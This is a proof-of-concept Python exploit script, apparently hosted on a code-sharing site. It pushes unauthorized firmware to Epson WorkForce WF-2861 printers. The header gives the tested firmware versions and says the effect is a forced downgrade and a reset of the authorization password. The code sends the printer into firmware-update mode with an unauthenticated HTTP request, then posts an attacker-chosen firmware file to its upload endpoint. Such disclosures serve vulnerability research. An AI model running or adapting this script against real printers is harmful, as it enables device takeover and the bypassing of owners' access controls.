Permalink
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
54 lines (43 sloc) 2.1 KB
#################################################################################
# Proof Of Concepts - Epson printer by firmware update without Autorization #
# email : epist.fortunatos@gmail.com #
# #
# tested specifications #
# firmware version : 10.48 LQ22I3(Recovery-mode), #
# 10.51.LQ20I6, #
# 10.52.LQ17IA(Latest) #
# printer model : WorkForce WF-2861 #
# effect : forcing downgrade, reset authorization password #
#################################################################################
#!/usr/bin/env python
import requests
import os, sys, argparse
def usage():
parser = argparse.ArgumentParser(description='Epson Printer Firmware Update.')
parser.add_argument('-t', '--target', help='printer\'s ip address')
parser.add_argument('-f', '--firmware', help='firmware that will be uploaded to printer')
args = parser.parse_args()
if args.target != None and args.firmware != None:
return args
else:
print "Invalid arguments, Please set the correct arguments" + os.linesep
exit(1)
def requestFirmwareUpdate(target):
url = 'http://' + target + '/FIRMWAREUPDATE'
rsp = requests.get(url)
if rsp.status_code == 200:
return True
else:
return False
def uploadFirmwareFile(target, firmware_path):
url = 'http://' + target + '/DOWN/FIRMWAREUPDATE/ROM1'
data = {'fname': ('DUMMY.DAT', open(firmware_path,'r').read(), 'application/octet-stream')}
requests.post(url, files=data)
def main():
args = usage()
# request firmware update mode, printer will ready to recieve firmware file
requestFirmwareUpdate(args.target)
# send firmware data by post
uploadFirmwareFile(args.target, args.firmware)
if __name__ == '__main__':
main()